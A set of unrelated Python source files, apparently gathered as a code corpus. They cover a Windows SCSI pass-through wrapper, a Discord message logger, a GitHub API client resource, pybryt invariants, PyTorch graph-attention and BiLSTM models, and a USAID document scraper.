lpOutBuffer wintypes.DWORD, # _In_ DWORD nOutBufferSize LPDWORD, # _Out_opt_ LPDWORD lpBytesReturned LPOVERLAPPED] # _Inout_opt_ LPOVERLAPPED lpOverlapped DeviceIoControl_Fn.restype = wintypes.BOOL # allocate a DWORD, and take its reference dwBytesReturned = wintypes.DWORD(0) lpBytesReturned = ctypes.byref(dwBytesReturned) status = DeviceIoControl_Fn(devhandle, ioctl, inbuf, inbufsiz, outbuf, outbufsiz, lpBytesReturned, None) return status, dwBytesReturned class DeviceIoControl(object): def __init__(self, path): self.path = path self._fhandle = None def _validate_handle(self): if self._fhandle is None: raise Exception('No file handle') if self._fhandle.value == wintypes.HANDLE(INVALID_HANDLE_VALUE).value: raise Exception('Failed to open %s. GetLastError(): %d' % (self.path, windll.kernel32.GetLastError())) def ioctl(self, ctl, inbuf, inbufsiz, outbuf, outbufsiz): self._validate_handle() return _DeviceIoControl(self._fhandle, ctl, inbuf, inbufsiz, outbuf, outbufsiz) def __enter__(self): self._fhandle = _CreateFile( self.path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, OPEN_EXISTING, 0) #FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING | FILE_FLAG_RANDOM_ACCESS) self._validate_handle() return self def __exit__(self, typ, val, tb): try: self._validate_handle() except Exception: pass else: windll.kernel32.CloseHandle(self._fhandle) def GetCapacity(dctl): # first, define the Structure in ctypes language class DISK_GEOMETRY(ctypes.Structure): """See: http://msdn.microsoft.com/en-us/library/aa363972(v=vs.85).aspx""" _fields_ = [ ('Cylinders', wintypes.LARGE_INTEGER), ('MediaType', wintypes.BYTE), # MEDIA_TYPE ('TracksPerCylinder', wintypes.DWORD), ('SectorsPerTrack', wintypes.DWORD), ('BytesPerSector', wintypes.DWORD) ] IOCTL_DISK_GET_DRIVE_GEOMETRY = 0x70000 disk_geometry = DISK_GEOMETRY() p_disk_geometry = ctypes.pointer(disk_geometry) status, _ = dctl.ioctl(IOCTL_DISK_GET_DRIVE_GEOMETRY, None, 0, # no input buffer p_disk_geometry, ctypes.sizeof(DISK_GEOMETRY)) if status: capacity = disk_geometry.BytesPerSector * disk_geometry.SectorsPerTrack * disk_geometry.TracksPerCylinder * disk_geometry.Cylinders return capacity else: raise Exception('IOCTL returned failure. GetLastError(): %d' % (windll.kernel32.GetLastError())) return None class PointerSizeTest(ctypes.Structure): _fields_ = [ ('P', ctypes.POINTER(wintypes.BYTE)) ] def ScsiRequest(dctl, cdb, data, dataIn=True, mayFail=False): SenseLength = 24 class SCSI_SENSE_DATA(ctypes.Structure): _fields_ = [ ('Data', wintypes.BYTE * SenseLength) ] class SCSI_PASS_THROUGH_DIRECT(ctypes.Structure): _fields_ = [ ('Length', wintypes.USHORT), ('ScsiStatus', wintypes.BYTE), ('PathId', wintypes.BYTE), ('TargetId', wintypes.BYTE), ('Lun', wintypes.BYTE), ('CdbLength', wintypes.BYTE), ('SenseInfoLength', wintypes.BYTE), ('DataIn', wintypes.BYTE), ('Padding9', wintypes.BYTE * 3), ('DataTransferLength', wintypes.DWORD), ('TimeOutValue', wintypes.DWORD), ('DataBuffer', ctypes.POINTER(wintypes.BYTE)), ('SenseInfoOffset', wintypes.DWORD), ('Cdb', wintypes.BYTE * 16) ] class SCSI_PASS_THROUGH_DIRECT_WITH_SENSE(SCSI_PASS_THROUGH_DIRECT): _fields_ = [ ('Sense', wintypes.BYTE * SenseLength) ] #print("0x%X"%(ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT))) #print("0x%X"%(ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE))) #print("0x%X"%(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE.Sense.offset)) IOCTL_SCSI_PASS_THROUGH_DIRECT = 0x4D014 buf = (wintypes.BYTE * len(data))() if dataIn == False: for i in range(len(data)): buf[i] = data[i] & 0xFF pass_through = SCSI_PASS_THROUGH_DIRECT_WITH_SENSE() pass_through.Length = ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT) pass_through.CdbLength = 16 pass_through.SenseInfoLength = SenseLength pass_through.DataIn = 1 if dataIn == True else 0 pass_through.DataBuffer = buf pass_through.DataTransferLength = len(buf) pass_through.TimeOutValue = 5 pass_through.SenseInfoOffset = SCSI_PASS_THROUGH_DIRECT_WITH_SENSE.Sense.offset #0x30 #pass_through.Sense.offset # validate structure size if (ctypes.sizeof(PointerSizeTest) == 4 and pass_through.Length == 0x2C) \ or (ctypes.sizeof(PointerSizeTest) == 8 and pass_through.Length == 0x38): pass else: raise Exception("Invalid SPTD structure size 0x%X, 0x%X"%(pass_through.Length, ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE))) for i in range(len(cdb)): if i >= 16: break pass_through.Cdb[i] = cdb[i] & 0xFF #TODO: fix CdbLength according to SCSI specs p_pass_through = ctypes.pointer(pass_through) status, _ = dctl.ioctl(IOCTL_SCSI_PASS_THROUGH_DIRECT, p_pass_through, ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE), p_pass_through, ctypes.sizeof(SCSI_PASS_THROUGH_DIRECT_WITH_SENSE)) #print(status, pass_through.ScsiStatus, pass_through.Sense[0]) if status and pass_through.ScsiStatus == 0: if dataIn == True: for i in range(len(data)): data[i] = buf[i] & 0xFF return data else: return True else: if mayFail == False: raise Exception('SCSI request failure. GetLastError(): %d, ScsiStatus: %d' % (windll.kernel32.GetLastError(), pass_through.ScsiStatus)) return None
python
# -*- coding: utf-8 -*- import asyncio import discord import os import sqlite3 client = discord.Client() conn = sqlite3.connect('data.db') c = conn.cursor() @client.event async def on_message(message): if message.author.bot: return uname = message.author.id con = message.content sql = 'insert into data (userid, message) values (?,?)' namelist = (uname, con) c.execute(sql, namelist) conn.commit() if __name__ == "__main__": client.run(os.environ['LOGGER_TOKEN'])
python
temp_module = __import__('vmware.ProducerSnippetBase', globals(), locals(), ["ProducerSnippetBase"], -1) producer_snippet_base = getattr(temp_module, "ProducerSnippetBase") setattr(producer_snippet_base, "print_text", lambda(self): "ZZZ") r1 = file.print_msg() x = file.ProducerSnippetBase() x2 = file.ProducerSnippetBase() r2 = x.print_text() print r1 print r2 print x2.print_text()
python
from libsaas import http, parsers from libsaas.services import base from . import resource from . import organizations class UserRepos(resource.GitHubResource): path = 'repos' @base.apimethod def get(self, type='all', page=None, per_page=None): """ Fetch repos for this user. :var type: What type of repos to fetch. For details of allowed values, see http://developer.github.com/v3/repos/#list-user-repositories. :vartype type: str """ params = base.get_params(('page', 'per_page'), locals()) params['type'] = type request = http.Request('GET', self.get_url(), params) return request, parsers.parse_json def create(self, *args, **kwargs): raise base.MethodNotSupported() class UserEmails(base.HierarchicalResource): path = 'emails' @base.apimethod def get(self): """ Fetch all emails of the authenticated user. """ request = http.Request('GET', self.get_url()) return request, parsers.parse_json @base.apimethod def add(self, emails): """ Add emails to the authenticated user. :var emails: A list of emails to add. :vartype emails: list of str """ request = http.Request('POST', self.get_url(), emails) return request, parsers.parse_json @base.apimethod def remove(self, emails): """ Remove emails from the authenticated user. :var emails: A list of emails to remove. :vartype emails: list of str """ request = http.Request('DELETE', self.get_url(), emails) return request, parsers.parse_empty class UsersBase(resource.GitHubResource): path = 'user' def delete(self, *args, **kwargs): raise base.MethodNotSupported() @base.apimethod def followers(self, page=None, per_page=None): """ Fetch the followers of this user. """ url = '{0}/{1}'.format(self.get_url(), 'followers') params = base.get_params(('page', 'per_page'), locals()) return http.Request('GET', url, params), parsers.parse_json @base.apimethod def following(self, page=None, per_page=None): """ Fetch users that this user is following. """ url = '{0}/{1}'.format(self.get_url(), 'following') params = base.get_params(('page', 'per_page'), locals()) return http.Request('GET', url, params), parsers.parse_json @base.resource(organizations.Organizations) def orgs(self): """ Return a resource corresponding to user's organizations. """ return organizations.Organizations(self) class CurrentUser(UsersBase): def require_collection(self): raise base.MethodNotSupported() @base.apimethod def update(self, obj): request = http.Request('PATCH', self.get_url(), obj) return request, parsers.parse_json update.__doc__ = UsersBase.__doc__ @base.resource(UserEmails) def emails(self): """ Return the resource corresponding to the emails of the authenticated user. """ return UserEmails(self) @base.apimethod def follow(self, name): """ Start following the given user. """ url = '{0}/{1}/{2}'.format(self.get_url(), 'following', name) # include a body, because requests does not send content-length when no # body is present, and that makes GitHub respond with HTTP 411 return http.Request('PUT', url, '*'), parsers.parse_empty @base.apimethod def unfollow(self, name): """ Stop following the given user. """ url = '{0}/{1}/{2}'.format(self.get_url(), 'following', name) return http.Request('DELETE', url), parsers.parse_empty @base.apimethod def follows(self, name): """ Check if the authenticated user follows the given user. :return: bool """ url = '{0}/{1}/{2}'.format(self.get_url(), 'following', name) return http.Request('GET', url), resource.parse_boolean class User(UsersBase): path = 'users' def update(self, *args, **kwargs): raise base.MethodNotSupported() @base.resource(UserRepos) def repos(self, page=None, per_page=None): """ Return the resource corresponding to all the repos of this user. """ return UserRepos(self)
python
Comment # unused class (src/mrkup/mrkup.py:87) Tag # unused class (src/mrkup/mrkup.py:140) PI # unused class (src/mrkup/mrkup.py:210)
python
"""Invariants for value annotations (available as :py:mod:`pybryt.invariants`)""" import numpy as np from abc import ABC, abstractmethod from collections import Iterable from typing import Any, List, Optional, Union # from enum import Enum, auto # TODO: add iterable_type invariant class invariant(ABC): """ Abstract base class for invariants. All subclasses should implement the :py:meth:`run<invariant.run>` static method for generating values that this invariant accepts as "correct". Invariants have a custom ``__new__`` method that returns the value of calling the :py:meth:`run<invariant.run>` method, making them function as callables. """ @staticmethod def __new__(cls, *args, **kwargs): return cls.run(*args, **kwargs) @staticmethod @abstractmethod def run(values: List[Any], **kwargs) -> List[Any]: """ Returns a list of values that this invariant accepts as correct. Takes in a list of acceptable values from a :py:class:`Value<pybryt.Value>` annotation and returns a list of values that would evaluate as "the same" under the conditions of this invariant. For example, if ``values`` as a list with a single element, a numpy matrix, and the invariant was matrix transposition, this method would return a length-2 list containing the original matrix and its transpose. Args: values (``list[object]``): acceptable values, either from the initial constructor call of the annotation or from the results of other invariants kwargs: additional keyword arguments Returns: ``list[object]``: the values that would evaluate as "the same" under the conditions of this invariant """ ... # TODO: if hashing, for all strings collect actual string and lowercased version (marked as such), # and compare against that if this invariant is used. class string_capitalization(invariant): """ An invariant that compares strings ignoring capitalization. Works by taking in a list of values and lowercasing them if they are strings and leaving them unchanged otherwise. """ @staticmethod def run(values: List[Any]) -> List[Any]: """ Returns a list of values in which all strings have been lowercased. Args: values (``list[object]``): acceptable values, either from the initial constructor call of the annotation or from the results of other invariants Returns: ``list[object]``: the elements of ``values`` with all strings lowercased """ ret = [] for v in values: if not isinstance(v, str): ret.append(v) else: ret.append(v.lower()) return ret
python
# -*- coding: utf-8 -*- """ """ import torch import torch.nn as nn import torch.nn.functional as F from torch_geometric.nn import GATConv from torch.nn import Linear, BatchNorm1d from torch_geometric.utils import dense_to_sparse class TemporalAttention(torch.nn.Module): """ model imput: (batch_size, num_of_nodes, channels, time_step) """ def __init__(self, num_of_nodes, channels, time_step): super().__init__() self.W_1 = nn.Parameter(torch.zeros(size=(num_of_nodes,))) nn.init.uniform_(self.W_1.data) self.W_2 = nn.Parameter(torch.zeros(size=(channels, time_step))) nn.init.xavier_uniform_(self.W_2.data, gain=1.414) self.b = nn.Parameter(torch.zeros(size=(1, time_step, time_step))) nn.init.xavier_uniform_(self.b.data, gain=1.414) self.V = nn.Parameter(torch.zeros(size=(time_step, time_step))) nn.init.xavier_uniform_(self.V.data, gain=1.414) self.bn = nn.BatchNorm1d(time_step) def forward(self, x): product = torch.matmul(torch.matmul( x.permute(0, 3, 2, 1), self.W_1), self.W_2) E = torch.tanh(torch.matmul(product, self.V)+self.b) E_normalized = self.bn(E) return E_normalized class SpatialAttention(torch.nn.Module): """ model imput: (batch_size, num_of_nodes, channels, time_step) """ def __init__(self, num_of_nodes, channels, time_step): super().__init__() self.W_1 = nn.Parameter(torch.zeros(size=(time_step,))) nn.init.uniform_(self.W_1.data) self.W_2 = nn.Parameter(torch.zeros(size=(channels, num_of_nodes))) nn.init.xavier_uniform_(self.W_2.data, gain=1.414) self.b = nn.Parameter(torch.zeros( size=(1, num_of_nodes, num_of_nodes))) nn.init.xavier_uniform_(self.b.data, gain=1.414) self.V = nn.Parameter(torch.zeros(size=(num_of_nodes, num_of_nodes))) nn.init.xavier_uniform_(self.V.data, gain=1.414) self.bn = BatchNorm1d(num_of_nodes) def forward(self, x): product = torch.matmul(torch.matmul(x, self.W_1), self.W_2) S = torch.tanh(torch.matmul(product, self.V)+self.b) S_normalized = self.bn(S) return S_normalized class STGAT(torch.nn.Module): """Self-organized Graph Construction Module Args: in_features: size of each input sample bn_features: size of bottleneck layer out_features: size of each output sample topk: size of top k-largest connections of each channel """ def __init__(self, time_step: int, bn_features: int, out_features: int, conv_channels: int, topk: int, spatial: bool, temporal: bool): super().__init__() self.num_of_vertices = 62 self.time_step = time_step self.bn_features = bn_features self.out_features = out_features self.conv_channels = conv_channels self.topk = topk self.spatial = spatial self.temporal = temporal self.bnlin = Linear(time_step*conv_channels, bn_features) self.gconv1 = GATConv(time_step*conv_channels, out_features, heads=4, dropout=0.3) self.gconv2 = GATConv(out_features*4, out_features, heads=4, concat=False, dropout=0.3) # self.gconv1 = DenseGCNConv( # time_step*conv_channels, out_features) # self.gconv2 = DenseGCNConv(out_features, out_features) self.s_attr = None self.t_attr = None if spatial: self.s_attr = SpatialAttention( self.num_of_vertices, conv_channels, time_step) if temporal: self.t_attr = TemporalAttention( self.num_of_vertices, conv_channels, time_step) def forward(self, x, edge_index): x = x.reshape(-1, self.num_of_vertices, self.conv_channels, self.time_step) if self.spatial: adj = self.s_attr(x) amask = torch.zeros(adj.size(0), self.num_of_vertices, self.num_of_vertices).cuda() amask.fill_(0.0) s, t = adj.topk(self.topk, 2) amask.scatter_(2, t, s.fill_(1)) adj = adj*amask edge_index, _ = dense_to_sparse(adj) if self.temporal: temporal_attr = self.t_attr(x) torch.matmul(x.reshape(-1, self.conv_channels*self.num_of_vertices, self.time_step), temporal_attr).reshape(-1, self.num_of_vertices, self.conv_channels, self.time_step) x = x.reshape(-1, self.conv_channels*self.time_step) x = F.relu(self.gconv1(x, edge_index)) x = F.relu(self.gconv2(x, edge_index)) return x
python
# https://github.com/FedML-AI/FedNLP/blob/master/model/bilstm.py import torch from torch import nn class BiLSTM_TextClassification(nn.Module): def __init__(self, input_size, hidden_size, output_size, num_layers, embedding_dropout, lstm_dropout, attention_dropout,embedding_length, attention=False, embedding_weights=None): super(BiLSTM_TextClassification, self).__init__() self.input_size = input_size self.hidden_size = hidden_size self.output_size = output_size self.num_layers = num_layers self.embedding_dropout = embedding_dropout self.lstm_dropout = lstm_dropout self.attention_dropout = attention_dropout self.attention = attention self.embedding_length = embedding_length if embedding_weights is not None: self.word_embeddings = nn.Embedding.from_pretrained(torch.tensor(embedding_weights)) else: self.word_embeddings = nn.Embedding(self.input_size, self.embedding_length) self.embedding_dropout_layer = nn.Dropout(p=self.embedding_dropout) if self.attention: self.attention_layer = nn.Linear(self.hidden_size * 4, self.hidden_size * 2) self.attention_dropout_layer = nn.Dropout(p=self.attention_dropout) self.lstm_layer = nn.LSTM(self.embedding_length, self.hidden_size, self.num_layers, dropout=lstm_dropout, bidirectional=True) self.lstm_dropout_layer = nn.Dropout(p=self.lstm_dropout) self.output_layer = nn.Linear(self.hidden_size * 2, self.output_size) def attention_forward(self, lstm_output, state, seq_lens): # We implement Luong attention here, the attention range should be less or equal than original sequence length # lstm_output -> [batch_size, seq_len, num_directions*hidden_size] # state -> [batch_size, num_directions*hidden_size] hidden = state.unsqueeze(2) attn_weights = torch.bmm(lstm_output, hidden).squeeze(2) # attn_weights -> [batch_size, seq_len] new_hiddens = [] for i, seq_len in enumerate(seq_lens): soft_attn_weights = torch.softmax(attn_weights[i][:seq_len], 0) # soft_attn_weights -> [seq_len] new_hidden = torch.matmul(soft_attn_weights.unsqueeze(0), lstm_output[i, :seq_len, :]) # new_hidden ->[1, num_directions*hidden_size] new_hiddens.append(new_hidden) concat_hidden = torch.cat((torch.cat(new_hiddens, 0), state), 1) # concat_hidden ->[batch_size, 2*num_directions*hidden_size] output_hidden = self.attention_layer(concat_hidden) # output_hidden ->[batch_size, num_directions*hidden_size] output_hidden = self.attention_dropout_layer(output_hidden) return output_hidden def forward(self, x): input_seq, seq_lens = x batch_size = len(input_seq) # input_seq -> [batch_size, seq_len] input_seq = self.word_embeddings(input_seq) # input -> [batch_size, seq_len, embedding_len] input_seq = self.embedding_dropout_layer(input_seq) h_0 = torch.zeros((self.num_layers*2, batch_size, self.hidden_size)).to(device='cuda') c_0 = torch.zeros((self.num_layers*2, batch_size, self.hidden_size)).to(device='cuda') input_seq = input_seq.permute(1, 0, 2) output, (final_hidden_state, final_cell_state) = self.lstm_layer(input_seq, (h_0, c_0)) # output -> [seq_len, batch_size, num_directions*hidden_size] output = output.permute(1, 0, 2) # the final state is constructed based on original sequence lengths state = torch.cat([output[i, seq_len-1, :].unsqueeze(0) for i, seq_len in enumerate(seq_lens)], dim=0) state = self.lstm_dropout_layer(state) if self.attention: output = self.attention_forward(output, state, seq_lens) else: output = state logits = self.output_layer(output) return logits
python
import bs4 from bs4 import BeautifulSoup import requests import urllib3 decurl = "https://decsearch.usaid.gov/search?client=dec_pdfs&site=default_collection&emdstyle=true&output=xml_no_dtd&proxystylesheet=dec_pdfs&ie=UTF-8&oe=UTF-8&getfields=*&ulang=en&filter=0&proxyreload=1&as_q=quarterly&num=100&btnG=Google+Search&as_epq=&as_oq=&as_eq=&lr=&as_ft=i&as_filetype=&as_occt=any&ip=172.16.1.4&access=p&entqr=3&entqrm=0&entsp=a__dec_results_biasing&wc=200&wc_mc=1&ud=1&sort=date%3AD%3AS%3Ad1&start=" i=100 urls=[] while i<10001: decurlappend=decurl+str(i) resp = requests.get(decurlappend) txt=resp.text soup=BeautifulSoup(txt,"html.parser") for h in soup.findAll('p'): try: urls.append(h.find('a').attrs['href']) except: pass #print (urls) for url in urls: if url.find('href='): fileName= url.rsplit('/', 1)[1] r = requests.get(url) with open(fileName, "wb") as code: code.write(r.content) i=i+100
python